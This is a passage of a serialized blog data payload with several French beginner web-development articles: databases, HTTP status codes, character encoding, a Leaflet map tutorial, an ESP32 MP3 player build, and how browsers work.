SQL, mais **ce derniers dominent encore largement le marché**, malgré l'avènement du NoSQL de ces dernières années.\n\n### Les bases SQL\n\nLes bases de données SQL sont ce que l'on appelle des bases de données relationnelles, c'est à dire que toutes **les entités sont structurées et peuvent être mises en relation les unes avec les autres.**\n\n> Une entité est un ensemble de données simples, qui misent ensemble, forment une information plus complexe.\n\nEn SQL on parle souvent de tables, de lignes et de colonnes, comme dans un fichier Excel :\n\n* Une table est un ensemble d'entités complexes **structurées de la même manière** (on peut avoir autant de tables que l'on souhaite, avec des structures différentes)\n* Une colonne de cette table **représente une donnée simple**\n* Une ligne représente une seule entité complexe\n\nIl existes plusieurs types de données simples (texte, nombre, date, etc...), dont certaines que l'on utilisera comme **identifiants pour relier des entités (lignes) de plusieurs tables entre elles** afin de leur donner plus de sens.\n\n> Exemple : Un article A1 a comme auteur l'utilisateur U1 et comme lecteur l'utilisateur U2\n\n**On parle alors d'un schéma relationnel**, car les entités sont mises en relation les unes avec les autres.\n\nVoici quelques exemples de SGBD relationnels compatibles avec SQL :\n\n* Oracle\n* MySQL\n* PostgreSQL\n* SQL Server\n* MariaDB\n* ...\n\n### Les bases NoSQL\n\nLe NoSQL est une catégorie qui regroupe plusieurs sous-groupes de base de données, car comme son nom signifie, **il indique seulement que ces SGBD n'utilise pas le langage SQL pour gérer leurs données**.\n\nCertains de ces SGBD gèrent des bases de données relationnelles (structurées ou non), et d'autres des bases de données non-relationnelles (et souvent non-structurées).\n\nVoici quelques-uns des SGBD NoSQL les plus populaires, avec leur type respectif :\n\n* Redis (clé-valeur, ni structuré ni relationnel)\n* MongoDB (documents, ni structuré ni relationnel)\n* Neo4J (graphes, non-structuré mais relationnel)\n\n> Si vous voulez découvrir Redis, je vous invite à lire [mon article dédié](https://code-garage.fr/blog/redis-une-base-de-donnees-rapide-comme-l-eclair/) !\n\n**Les bases de données non-relationnelles sont (en général) plus rapide en lecture et en écriture que les bases relationnelles**, justement dû à l'absence de relation, et donc de vérification de ces dernières.\n\nCette rapidité est souvent la raison pour laquelle un projet va plutôt utiliser une base NoSQL, mais **une base de données relationnelle reste incontournable dès lors que votre schéma de données contient des relations.**\n\n## En conclusion\n\nOn parle de base de données pour une instance, sinon on parlera plutôt de **Système de Gestion de Base de Données** (ou SGBD).\n\n**Un SGBD peut prendre différentes formes** tout comme les données stockées à l'intérieur et la structuration des requêtes pour gérer ces données.\n\nIl existe le langage **SQL pour gérer envoyer et demander des informations structurées issues de bases de données relationnelles**, mais toutes les bases de données relationnelles ne fonctionnent pas forcément avec SQL.\n\nIl n'y a pas de définition précise de ce qui peut être appelée une base de données ou non, mais on considère qu'**une normalisation de la manière de gérer les données**, ainsi que la possibilité de récupérer/modifier **une quantité très importante de données** sont les deux principes minimums qui différencie un SGBD d'un moyen de stockage de données plus basique, comme un fichier.\n\nOn choisira plutôt de stocker des données qui n'évoluent pas dans un fichier (configuration par exemple), et **les données dynamiques dans une base de données !**\n\n","Une introduction pour comprendre ce que ce terme signifie exactement.","qu-est-ce-qu-une-base-de-donnees","2021-04-22T19:29:48.000Z","2023-09-19T15:05:41.115Z","2021-05-03T06:54:39.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/04/pexels-pixabay-373543.jpg",{"id":1583,"title":1584,"content":1585,"socialTitle":8,"description":1586,"socialDescription":8,"slug":1587,"createdAt":1588,"updatedAt":1589,"publishedAt":1590,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1591,"coverCopyright":1592,"coverCopyrightLink":1593},238,"Les codes de retour HTTP indispensables à connaitre","Lorsque l'on reçoit une réponse HTTP, cette dernière contient de nombreuses informations (dont beaucoup sont similaires à une requête), mais l'une de ses données la plus importante est **le code de statut http.**\n\n> Aussi appelé code de réponse ou code de retour.\n\nCe code, associé à un statut (un message sous forme de texte) et indissociable de ce dernier, va nous donner **deux informations très précises :**\n\n* **Ce qu'il s'est passé**, ou non, sur le serveur\n* **Ce que contient le corps** de la réponse HTTP\n\nSi le code indique un succès, on sait que le serveur a pu faire son travail correctement et **nous retourner les données attendues.**\n\nTandis que si l'on reçoit un code d'erreur, on va savoir pourquoi la requête n'a pas pu s'exécuter correctement, et que l'on pourra trouver **plus d'informations dans le corps de la réponse.**\n\nPour bien les distinguer, les codes HTTP sont séparés en **5 grandes familles, dont chacune est représentée par le premier chiffre du code.**\n\n## Code 1xx - Informations\n\n### 100 - Continue\n\nDans le cadre d'une requête classique, on privilégiera plutôt les codes 200 ou 201 pour indiquer un succès, mais parfois le code 100 permet de dire que **la requête n'a pas été rejetée et qu'elle peut continuer, sans indiquer de réel succès.**\n\n> En pratique, ce code peut par exemple être utilisé lors de l'envoi d'un fichier très lourd au serveur pour indiquer au client que le serveur accepte le fichier, sans savoir si l'upload se passera sans encombre.\n\n## Code 2xx - Succès\n\n### 200 - Ok\n\n**Indique le succès de la requête, le corps de la réponse contiendra alors la ressource demandée** ou le résultat de l'opération effectuée. On réserve ce statut pour les opérations que l'on appelle \"idempotentes\".\n\n> Si le concept d'idempotence vous est inconnu, je vous invite à lire [mon article qui y est consacré](https://code-garage.fr/blog/que-signifie-idempotence-en-programmation/).\n\n### 201 - Created\n\n**Lorsque l'opération effectuée à créé une ressource sur le serveur** (ou dans la base de données), on utilisera alors plutôt le code 201 à la place du code 200.\n\n## Code 3xx - Redirection\n\nChanger l'adresse d'une ressource numérique est beaucoup plus simple que de changer l'adresse d'une habitation, il faut donc une méthode pour indiquer facilement le nouvel emplacement de cette ressource.\n\nLes codes 3xx sont justement fait pour ça, et ils peuvent d'ailleurs eux-mêmes renvoyer vers un autre code 3xx si la ressource a encore changé de place.\n\n### 301 - Moved Permanently\n\n**La redirection 301 signifie que la ressource a été déplacée de manière permanente.** Grâce à la nouvelle URL présente dans l'en-tête \"Location\", les navigateurs et les moteurs de recherches redirigent automatiquement l'utilisateur vers la nouvelle destination.\n\n> En terme de SEO, la redirection permanante permet de garder le référencement naturel de la page à son ancienne URL.\n\n### 302 - Found\n\nÉquivalent à une **redirection temporaire.**\n\n> Contrairement à une redirection permanente (301), la redirection temporaire ne redirige pas le référencement naturel, car l'opération doit être limitée dans le temps.\n\n### 304 - Not modified\n\nIndique que **le contenu de la réponse n'a pas changé depuis la dernière requête**, et que le client peut utiliser la version de la ressource présente dans son cache.\n\n## Code 4xx - Erreur client\n\nMême lorsque votre serveur fonctionne à la perfection, il arrive que certaines requêtes utilisateurs ne parviennent pas à s'exécuter jusqu'au bout pour diverses raisons.\n\n> Cela peut venir d'une erreur de saisie, d'une tentative d'accès à des données privées, à des données qui n'existent plus, etc...\n\n### 400 - Bad Request\n\nCe code fait référence à la **syntaxe et au contenu de la requête qui ne permet pas au serveur d'effectuer l'opération voulue.**\n\n> Un exemple basique de l'utilisation de ce code est l'envoi d'un formulaire incomplet, les informations manquantes rendent le traitement impossible.\n\n### 401 - Unauthorized\n\nNon autorisé, ou plutôt synonyme de \"non authentifié\", ce code indique que **le client doit fournir ses informations d'identification** afin que le serveur puisse retourner la réponse attendue.\n\n### 403 - Forbidden\n\nIndique qu'une ressource est inaccessible à un utilisateur **même lorsque ce dernier est authentifié.**\n\n### 404 - Not Found\n\nSans doute le seul code HTTP a être rentré dans la culture populaire, le code 404 indique que **la ressource situé à l'URI demandée n'existe pas** (ou plus).\n\n> À noter qu'il est important de proposer une page spécifique pour cette erreur, comme expliqué dans [l'un de mes précédents articles](https://code-garage.fr/blog/comme-faire-une-bonne-page-404/).\n\n### 409 - Conflict\n\nCe code indique que **la requête rentre en conflit avec l'état actuel** du serveur.\n\n> En pratique cela peut indiquer qu'une ressource que le client essaye de créer existe déjà sur le serveur.\n\n## Code 5xx - Erreur serveur\n\nLorsque la requête est correcte mais que le serveur n'est pas capable de la traiter, alors ce dernier renvoie un code d'erreur serveur.\n\nC'est la seule catégorie qui, dans le meilleur des mondes, ne devrait  jamais être envoyée, mais qui dans la réalité est indispensable !\n\n### 500 - Internal Server Error\n\nLe code 500 indique que la reqûete n'a pas pu être traitée par le serveur **car il a rencontré une situation inattendue.**\n\n> C'est en général l'erreur par défaut renvoyé par le serveur lorsque quelque chose s'est mal passé sans que l'on en connaisse encore la cause.\n\n### 503 - Service Unavailable\n\nCe code est renvoyé lorsque **le serveur n'est pas accessible et n'est pas en capacité de répondre à la requête**, à cause d'un bug, d'une maintenance ou d'une surcharge utilisateur.\n\n## En bonus\n\n### 418 - I'm a teapot\n\nIssu d'un poisson d'Avril, le code de statut 418 indique que **le serveur refuse de servir du café, car c'est désormais une théière.**\n\nBien que parti d'une plaisanterie, le code 418 est réservé est implémenté dans de nombreuses implémentations de serveurs web comme pour se souvenir que derrière chaque système informatique, il y a le travail de nombreux être humains.\n\n> Pour lutter contre la conservation de ce code, une initiative appelée [save418 a été lancée](https://save418.com/) et a largement remporté le soutien populaire !\n\n### Les autres codes\n\n**Il existe de nombreux autres codes de statut HTTP** qu'il est intéressant de découvrir, pour cela je vous invite à [vous rendre sur la documentation de Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status) !\n\n","Vous connaissez sûrement les codes 200, 404 et 500, mais les autres alors ?","les-codes-de-retour-http-indispensables-a-connaitre","2021-04-26T06:48:02.000Z","2023-09-19T15:05:41.172Z","2021-04-26T08:45:32.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/04/yannik-mika-GjFbKfI874o-unsplash.jpg","Yannik Mika sur Unsplash","https://unsplash.com/@yannikm?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1595,"title":1596,"content":1597,"socialTitle":8,"description":1598,"socialDescription":8,"slug":1599,"createdAt":1600,"updatedAt":1601,"publishedAt":1602,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1603,"coverCopyright":1604,"coverCopyrightLink":1605},239,"Comment résoudre les problèmes d'accents dans vos pages web ?","Vous venez d'enregistrer une page web et lorsque vous l'ouvrez depuis un serveur web, **tous vos accents ont disparu pour laisser place à des caractères comme Ã, ©, ¨ et d'autres encore ?**\n\nCe \"bug\" est dû à un mauvais encodage des caractères, ou plutôt à **un encodage différent entre l'écriture du fichier html et la lecture de ce même fichier** par le navigateur.\n\n## Qu'est-ce que l'encodage de caractères ?\n\nLorsque vous enregistrez un fichier texte sur votre machine, **ce dernier est stocké sous forme binaire, de 0 et de 1** car c'est de cette manière que les systèmes informatiques traitent l'information.\n\n> Si vous n'êtes pas très familier avec le concept de binaire, je vous laisse lire [mon article d'introduction à ce sujet](https://code-garage.fr/blog/comprendre-comment-fonctionne-le-binaire/) !\n\nLogiquement, pour passer de la forme binaire à un texte lisible par nous autres humains, **il faut établir une convention d'encodage et de décodage de ces caractères.**\n\nCette convention correspond tout simplement à **un tableau contenant tous les caractères avec leur forme binaire**, comme illustré ci-dessous :\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/04/image.png)\n\nEn l'occurrence le tableau ci-dessus correspond à l'encodage **UTF-8 (Universal Transformation Format - 8 bits), l'encodage désormais le plus répandu  sur le web.**\n\nEn regardant le tableau, on peut voir que le caractère **\"è\" correspond au code binaire \"11000011 10101000\"**, c'est donc ce code qui se trouvera dans le fichier que vous allez enregistrer pour votre page web.\n\nMais si vous ne spécifiez pas l'encodage utilisé lors de l'écriture, **votre navigateur utilisera l'encodage par défaut du protocole HTTP, qui est le ISO-8859-1.**\n\nComme ces deux encodages sont différents, **le navigateur ira chercher la correspondance à votre code binaire dans le mauvais tableau**, et vous renverra le caractère ¨ au lieu du è attendu.\n\n## Comment corriger ce problème ?\n\nLa correction est très simple, puisqu'**il suffit d'indiquer au navigateur l'encodage de votre fichier d'origine**, pour ce faire, il suffit d'ajouter une balise \u003Cmeta> contenant l'attribut charset directement dans l'élément \u003Chead> de votre page web.\n\n```\n\u003Chead>\n ...\n \u003Cmeta charset=\"utf8\">\n ...\n\u003C/head>\n```\n\nUne fois que vous aurez fait cette modification, il ne vous restera plus qu'à mettre à jour votre page web et à admirer le résultat : **vos accents s'affichent enfin !**\n\n","Vos accents ne s'affichent pas correctement dans vos pages ? Je vous explique pourquoi et comment remédier à ça !","comment-resoudre-les-problemes-daccents-dans-vos-pages-web","2021-04-27T07:12:22.000Z","2023-09-19T15:05:41.201Z","2021-04-27T08:13:45.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/04/krakenimages-8RXmc8pLX_I-unsplash-1.jpg","Sigmund sur Unsplash","https://unsplash.com/@sigmund?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1607,"title":1608,"content":1609,"socialTitle":8,"description":1610,"socialDescription":8,"slug":1611,"createdAt":1612,"updatedAt":1613,"publishedAt":1614,"styleHead":1615,"scriptFooter":1616,"seoTitle":8,"seoDescription":8,"legacyCover":1617,"coverCopyright":1618,"coverCopyrightLink":1619},240,"Tutoriel : Intégrer une carte interactive sur un site avec Leaflet","Depuis l'arrivée de Google Maps en 2005, **Les cartes intéractives sont monnaies courantes sur le web**, presque devenues des outils indispensables.\n\nMais depuis 2018 et la flambée des prix de l'API de Maps chez Google, **les alternatives gratuites et open-source se sont consolidées** et offres aujourd'hui des possibilités toutes aussi intéressantes.\n\n## LeafletJS\n\nLeaflet est une bibliothèque Javascript open-source **de gestion de cartes intéractives.**\n\nLeaflet permet entre autres de :\n\n* Charger **différentes cartes** avec différents styles\n* **Tracer des zones** (polygones, cercles) sur la carte\n* Ajouter des **centres d'intérêts** (pinpoints)\n* **Gérer les intéractions** (clics) et afficher des popups\n\n### Fournisseurs de cartes\n\n**Attention, il ne faut pas confondre Leaflet avec un fournisseur de carte.** Leaflet est une bibliothèque chargée d'afficher et de gérer les intéractions avec une carte qu'on lui fourni.\n\n> Cette confusion vient notamment du fait que la solution de Google fournie à la fois la carte et la bibliothèque d'affichage.\n\n**Ces fournisseurs mettent à dispositions des Tiles** (des tuiles en français) qui correspondent à des images d'une zone du monde selon la latitude, la longitude et le zoom.\n\n**Certains fournisseurs sont gratuits, comme OpenStreet Map**, d'autres sont payants mais avec des offres gratuites suffisantes pour la majorités des sites, comme MapBox par exemple.\n\n> L'avatange des fournisseurs payant est qu'ils fournissent général de nombreux styles de cartes et même la possibilité de les personnaliser.\n\n## Afficher une carte simple\n\n**Pour afficher une carte avec Leaflet basée sur les données gratuites d'OpenStreet Map**, il suffit de quelques lignes comme dans l'exemple ci-dessous :\n\n```\n\u003C!-- index.html -->\n\u003Cdiv id=\"mapid\" style=\"width: 600px; height: 400px;\">\u003C/div>\n\n\u003Clink rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.7.1/dist/leaflet.css\"/>\n\u003Cscript src=\"https://unpkg.com/leaflet@1.7.1/dist/leaflet.js\">\u003C/script>\n\n\u003Cscript type=\"text/javascript\">\n var map = L.map('mapid').setView([51.505, -0.06], 20);\n L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', {\n attribution: '© \u003Ca href=\"https://www.openstreetmap.org/copyright\">OpenStreetMap\u003C/a> contributors'\n }).addTo(map);\n\u003C/script>\n```\n\nPour se faire, il suffit de créer un élément HTML qui contiendra la carte, et d'inclure les fichiers CSS et JS de Leaflet.\n\nUne fois la bibliothèque chargée, la méthode **L.map(...)** nous permettra de lier l'id de l'élément précédemment créé, puis de charger la carte avec la méthode **L.tileLayer(...)** en lui passant un template d'URL !\n\nDans le template d'URL, on peut voir 4 variables :\n\n* {s} qui correspond **au style de la carte** (ici on utilise celui par défaut)\n* {x}, {y} et {z} correspondent **aux coordonnées qui seront injectées par Leaflet** à chaque fois que l'utilisateur bougera la carte\n\n> À noter qu'il est obligatoire de mentionner OpenStreet Map, même si la carte est gratuite.\n\n### Démo\n\nVoici le résultat du code ci-dessus :\n\n:::custom leaflet\n:::\n\n## Intégrer une carte dans un projet réel\n\nEn plus de l'exemple basique présenté juste avant, je vous ai préparé un exemple de carte plus poussé, avec la possibilité d'utiliser **des cartes personnalisées avec MapBox et où l'on charge la librairie avec NPM et packagé avec Vite.**\n\nCe projet d'exemple est disponible sur Github à l'adresse suivante : [https://github.com/NicolasBrondin/basic-map-leaflet](https://github.com/NicolasBrondin/basic-map-leaflet)\n\n::: bookmark\n[![](https://opengraph.githubassets.com/315b98355d00a20bbf1798be45e181170cf67868c97b39c147982b85577b4b7d/NicolasBrondin/basic-map-leaflet)NicolasBrondin/basic-map-leaflet](https://github.com/NicolasBrondin/basic-map-leaflet)\n:::\n\n","Une alternative gratuite et open-source à Google Maps !","tutoriel-integrer-une-carte-interactive-sur-un-site-avec-leaflet","2021-04-30T07:21:47.000Z","2023-10-08T08:18:34.994Z","2021-04-30T08:35:38.000Z","div.custom {\nwidth: 600px;\nmax-width: 100%;\nheight: 400px;\noverflow:hidden;\nbackground: rgba(0,0,0,0.1);\nmargin: auto;\nborder-radius: 5px;\n}","if(!window.L) {\n LeafletStyle = document.createElement('style');\n LeafletStyle.src = 'https://unpkg.com/leaflet@1.7.1/dist/leaflet.css';\n document.body.appendChild(LeafletStyle);\n LeafletScript = document.createElement('script');\n LeafletScript.src = 'https://unpkg.com/leaflet@1.7.1/dist/leaflet.js';\n document.body.appendChild(LeafletScript);\n LeafletScript.onload = load;\n}\n\nfunction load(){\nconst container = document.querySelector('.custom');\nvar map = L.map(container).setView([51.505, -0.06], 20); L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { attribution: '© \u003Ca href=\"https://www.openstreetmap.org/copyright\">OpenStreetMap\u003C/a> contributors' }).addTo(map);\n}","https://cellar-c2.services.clever-cloud.com/content/2021/04/andrew-neel-1-29wyvvLJA-unsplash.jpg","Andrew Neel sur Unsplash","https://unsplash.com/@andrewtneel?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1621,"title":1622,"content":1623,"socialTitle":8,"description":1624,"socialDescription":8,"slug":1625,"createdAt":1626,"updatedAt":1627,"publishedAt":1628,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1629,"coverCopyright":8,"coverCopyrightLink":8},250,"Fabrication d'un lecteur mp3 open-source sur ESP32 avec Arduino","Lorsque notre fille était plus jeune, ma femme avait pour projet d'acheter un lecteur audio et générateur de bruit blanc pour sa chambre.\n\n> Le bruit blanc ayant parfois pour effet d'aider les enfants à s'endormir.\n\nAprès avoir trouvé quelques lecteurs compatibles pour environs 30€ sur Amazon, je lui ai proposé d'en **fabriquer un moi-même pour environs 15€, avec les fonctionnalités qu'elle désirait**, et c'est ce que j'ai fait.\n\n> En réalité cela m'a environs coûté 17€ au total.\n\n## Recherche\n\nJe m'étais déjà amusé avec des Raspberry Pi et des Arduino Uno auparavant, mais ici j'ai eu envie de tester quelque chose de nouveau, **plus petit et avec une consommation électrique réduite.**\n\n> Si vous n'êtes pas familier avec l'environnement Arduino, je vous invite à lire [l'article que je lui ai consacré sur le blog](https://code-garage.fr/blog/arduino-ou-comment-fabriquer-ses-propres-objets-electroniques/).\n\nSur les conseils de mon ami (et mentor) [@Paul](https://github.com/paulvarache), j'ai décidé de me tourner vers **une carte ESP32, compatible Arduino avec WiFi et Bluetooth intégrés.**\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/04/ESP32-broches-tactiles.png)\n\n> Avec un peu de recul sur ce projet, un simple Arduino Nano aurait pu faire l'affaire, étant donné que je n'ai utilisé ni Bluetooth ni WiFi au final.\n\nL'étape suivante consistait à trouver un composant me permettant de lire de la musique, et comme je n'avais jamais touché à ce genre de choses, j'ai simplement recherché \"arduino mp3 module\" sur Google, et la première réponse fût : **DFPlayer Mini.**\n\nLe module est un **lecteur MP3 autonome** (il ne requiert aucun controller externe pour lire et jouer de la musique), supportant les **microSD** et intégrant déjà **un ampli audio**.\n\n> Exactement ce que je recherchais pour aller au plus simple et rapide possible !\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/04/miniplayer_pin_map-1.png)\n\nAprès avoir lu quelques tutoriels et regardé quelques vidéos d'explication sur YouTube, **j'ai réussi à trouver quelques créateurs ayant déjà fait fonctionner les deux composants ensemble**, donc j'ai pu valider ma commande, en ajoutant au passage une petite enceinte.\n\n## Composants\n\nVoici la liste des composants que j'ai utilisé, **avec les prix et les liens pour acheter ces derniers** (depuis amazon.fr, non-affilié).\n\n1. [ESP32 Dev Module](https://www.amazon.fr/gp/product/B07DPP3BGZ/ref=ppx_yo_dt_b_asin_title_o01_s00?ie=UTF8&psc=1) - 9,49€\n2. [DFPlayer Mini](https://www.amazon.fr/gp/product/B07T89PFFD/ref=ppx_yo_dt_b_asin_title_o01_s00?ie=UTF8&psc=1) - 3,11€ (6,21€ pack of two)\n3. [Speaker](https://www.amazon.fr/gp/product/B0738NLFTG/ref=ppx_yo_dt_b_asin_title_o01_s00?ie=UTF8&psc=1) - 3.99€ (7,99€ pack of two)\n\nJ'ai aussi utilisé 1 carte micro SD (que j'avais auparavant), 4 boutons poussoirs, 4 résistances 10KΩ , 1 résistances 1KΩ, 1 breadboard et quelques fils présents dans [mon kit de démarrage](https://www.amazon.fr/ELEGOO-Arduino-Compatible-D%C3%A9marrage-dutilisation-dapprentissage/dp/B06XSGPRHB/ref=sr_1_2_sspa?__mk_fr_FR=%C3%85M%C3%85%C5%BD%C3%95%C3%91&dchild=1&keywords=elegoo+arduino+starter&qid=1621527144&s=computers&sr=1-2-spons&psc=1&spLa=ZW5jcnlwdGVkUXVhbGlmaWVyPUFCMU9HNVlTUUlGWlkmZW5jcnlwdGVkSWQ9QTA3ODMyNjAyTE1VSkJDVjBCR0hGJmVuY3J5cHRlZEFkSWQ9QTA2NjA4MzgzM0lVVDczS0o0SldIJndpZGdldE5hbWU9c3BfYXRmJmFjdGlvbj1jbGlja1JlZGlyZWN0JmRvTm90TG9nQ2xpY2s9dHJ1ZQ==).\n\n## Circuit\n\nAprès avoir reçu toutes les pièces et avoir consulté d'autres tutoriels pour comprendre comment faire fonctionner l'ESP32 et le DFPlayer Mini ensemble, **j'ai fini par concevoir le circuit ci-dessous :**\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/04/schema.jpg)\n\nComme vous pouvez le voir, **l'ESP32 communique avec le lecteur audio par ses pins du port série**, et d'après les instructions d'utilisations trouvées sur le net, le lien TX-RX a besoin d'une résistance de 1KΩ pour réduire les perturbations.\n\n## Code\n\nTout le code que vous aurez besoin d'envoyer sur l'ESP32 pour le faire fonctionner avec le schéma ci-dessus est disponible directement sur **[](https://github.com/NicolasBrondin/flower-player/blob/master/README.md)[GitHub](https://github.com/NicolasBrondin/flower-player/blob/master/README.md) en tant que projet open-source** auquel vous êtes libre de contribuer !\n\n::: bookmark\n[![](https://opengraph.githubassets.com/87a29658549c09696c0a214cb33c5861014c0ef529adca1078e82e7469aa353a/NicolasBrondin/flower-player)NicolasBrondin/flower-player](https://github.com/NicolasBrondin/flower-player/blob/master/README.md)\n:::\n\nEn bonus, voici une petite vidéo que j'ai prise en faisant le montage, vous pourrez voir que le lecteur fonctionne parfaitement !\n\n![](https://code-garage-strapi-bucket-production.cellar-c2.services.clever-cloud.com/prototype_arduino_mp3_fdac4e0b9a.mp4)\n\n","Envie de construire un lecteur audio de (presque) zéro ? Voici un tutoriel avec circuit et code !","fabrication-lecteur-mp3-open-source-sur-esp32-avec-arduino","2021-05-20T15:43:12.000Z","2023-11-17T18:13:03.963Z","2021-05-21T07:07:48.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/05/rose-music-player.jpg",{"id":1631,"title":1632,"content":1633,"socialTitle":8,"description":1634,"socialDescription":8,"slug":1635,"createdAt":1636,"updatedAt":1637,"publishedAt":1638,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1639,"coverCopyright":1640,"coverCopyrightLink":1641},252,"Comment fonctionne un navigateur web ?","Dans un précédent article, j'avais tenté d'expliquer [le principe d'un serveur web](https://code-garage.fr/blog/qu-est-ce-qu-un-serveur-web/) et les fonctionnalités qui le caractérisent pour essayer de démystifier son fonctionnement.\n\n**Aujourd'hui je vais faire la même chose avec un navigateur web**, de manière à la fois technique, tout en essayant de ne pas trop rentrer dans les détails pour garder le concept général.\n\nDans les faits, certains navigateurs modernes peuvent fonctionner légèrement différemment, **on va donc imaginer décortiquer le fonctionnement d'un navigateur basique**, comme dans les années 2000 !\n\n## La théorie\n\nOn pourrait partir du principe qu'un navigateur web, **le plus basique possible n'ait que deux fonctions :**\n\n* Envoyer des requêtes HTTP\n* Afficher un rendu graphique du contenu HTML renvoyé par le serveur web\n\n**En principe un logiciel qui implémenterait ces deux méthodes pourrait être qualifié de navigateur web** sans aucun problème. Seulement avec l'état du web actuel et les attentes des utilisateurs, ce modèle théorique ne serait plus suffisant pour remplir ce job aujourd'hui.\n\n> Néanmoins il serait toujours suffisant pour afficher la première page web ayant jamais été créé par Tim Berners-Lee au CERN en 1985 et [encore en ligne](http://info.cern.ch/hypertext/WWW/TheProject.html) !\n\n## La pratique\n\n### Création d'un processus système\n\nLors du démarrage du navigateur, ce dernier **charge automatiquement un nouvel onglet vierge**. Un onglet n'est pas seulement utile pour les utilisateurs, il l'est aussi pour le fonctionnement technique du navigateur.\n\nLors de la création d'un onglet, l**e navigateur va en réalité créer un nouveau processus système (enfant) indépendant**, ce qui va permettre deux choses :\n\n* Le navigateur et les onglets pourront continuer à communiquer, **mais deux onglets ne pourront (en théorie) pas communiquer** entre-eux, favorisant la sécurité.\n* Si l'un des onglets consomme trop de mémoire et doit s'arrêter, alors **seul l'onglet en question pourra être terminé**, et il n'y aura pas besoin de fermer tout le navigateur\n\n### Résolution DNS\n\nUne fois l'onglet créé, une barre de navigation sera mise à disposition de l'utilisateur, **laquelle devra contenir une URL valide afin que l'utilisateur puisse charger un site.**\n\nL'URL en question pourra être basée sur :\n\n* Un nom de domaine\n* Une adresse IP\n\nDans le cas où l'utilisateur indiquerait un nom de domaine, **le navigateur devra aller récupérer l'adresse IP** pointant sur ce dernier avant de pouvoir commencer à charger la page grâce à une requête HTTP.\n\n**Le protocole HTTP étant basé sur la suite TCP/IP**, il faut forcément une adresse IP pour que le réseau puisse transporter (router) les paquets TCP.\n\n> Si vous n'êtes pas familier avec la suite de protocoles TCP/IP, je vous invite à lire [mon article qui y est consacré](https://code-garage.fr/blog/tcp-ip-comment-ca-fonctionne/).\n\nAfin de récupérer l'adresse IP, **le navigateur va effectuer une requête DNS** (Domain Name Server aussi appelé \"Système de noms de domaines\") dont le seul but va être de faire une correspondance entre un nom et une IP.\n\nLes requêtes DNS sont très fréquentes, c'est pourquoi elles sont soumises à plusieurs niveaux de cache :\n\n* En premier, **le navigateur va aller regarder dans son cache interne** pour voir si il n'a pas déjà la correspondance nom de domaine \u003C> IP présente (et non périmée)\n* Sinon, **le système d'exploitation** va regarder dans son cache\n* Sinon, **la requête DNS va partir sur le réseau** et traverser un certain nombre de serveurs DNS récursifs (qui vont regarder dans leur cache respectif, et transmettre la requête à un autre serveur DNS le cas échéant)\n\n**Et ce jusqu'à trouver l'adresse IP correspondante**, qui sera retournée en réponse à la requête.\n\n### Requête HTTP initiale\n\nUne fois l'adresse IP correspondante au nom de domaine reçue, **le navigateur va enfin pouvoir envoyer une requête HTTP pour demander la page d'accueil du site.**\n\nLorsque l'utilisateur désire accéder au site :\n\n> google.com\n\nLe navigateur va donc récupérer l'adresse IP :\n\n> 142.250.178.142\n\nEt agrémenter l'URL en ajoutant le **protocole** (http://), le **port** par défaut (80) et l'**URI** par défaut (/index.html)\n\n> http://142.250.178.142:80/index.html\n\nLa requête HTTP finale sera donc la suivante :\n\n> \\[HTTP/1.1\\] \\[GET\\] \\[142.250.178.142:80\\] \\[/index.html\\]\n\n**En réalité, la requête HTTP se fait bien avec le nom de domaine** et l'IP est contenu dans paquet TCP sous-jacent, mais l'exemple ci-dessus est plus visuel.\n\n> À noter que je n'aborde pas les notions d'HTTPS et SSL ici afin de garder l'article le plus abordable possible.\n\n### Interprétation de la réponse HTTP\n\nLa réponse HTTP contient trois éléments principaux :\n\n* Le **code** de status\n* L'**en-tête** de la réponse\n* Le **corps** de la réponse\n\n> Le code de status va permettre de savoir si la requête c'est bien passée.\n\nLe code 200 va signifier que la ressource demandée est bien présente et pourra être traitée. Le code 301 va indiquer au navigateur qu'il doit envoyer sa requête à une autre URL. Le code 404 va indiquer que la ressource demandée n'existe pas.\n\n> Si vous voulez en savoir plus sur les codes HTTP, je vous invite à lire [mon article à ce sujet](https://code-garage.fr/blog/les-codes-de-retour-http-indispensables-a-connaitre/).\n\n### En-tête HTTP : Enregistrement des cookies\n\nSi la réponse HTTP ne contient pas de redirection, alors l**es données contenues dans l'entête pourront être traitées, notamment les cookies.**\n\n**Les cookies sont des données envoyées par le serveur que le navigateur devra stocker en local** et renvoyer à chaque requête vers le serveur. Chaque cookie est stocké pour un domaine en particulier et pour un temps limité.\n\nCes cookies vont être utilisés pour avoir un suivi de l'utilisateur lors de sa navigation sur le site ou pour lui offrir des fonctionnalités qui nécessite son authentification.\n\n### Corps HTTP : Traitement\n\nLogiquement, lorsque la requête s'est déroulé correctement, le serveur aura renvoyé une page web contenue dans le corps de la réponse HTTP, **mais cette page web est alors sous la forme d'une chaine de caractère qu'il va falloir traiter.**\n\nLe navigateur, en utilisant toutes les données présentes dans la réponse, va alors devoir **transformer cette chaine de caractère en un document HTML valide**, en s'appuyant sur le type de document indiqué dans le premier élément présent appelé \u003C!DOCTYPE>\n\n> \u003C!DOCTYPE> permet de confirmer que le document reçu est bien un document HTML et il indique aussi la version du langage à utiliser (HTML5 par défaut)\n\nL'arbre DOM (Document Object Modeling) résultant de ce traitement sera alors constitué de 2 éléments de niveaux supérieurs \u003Chead> et \u003Cbody>.\n\nToutes les méta-données présentes dans le \u003Chead> seront d'abord traitées avant celles du \u003Cbody>, **c'est la raison pour laquelle les scripts 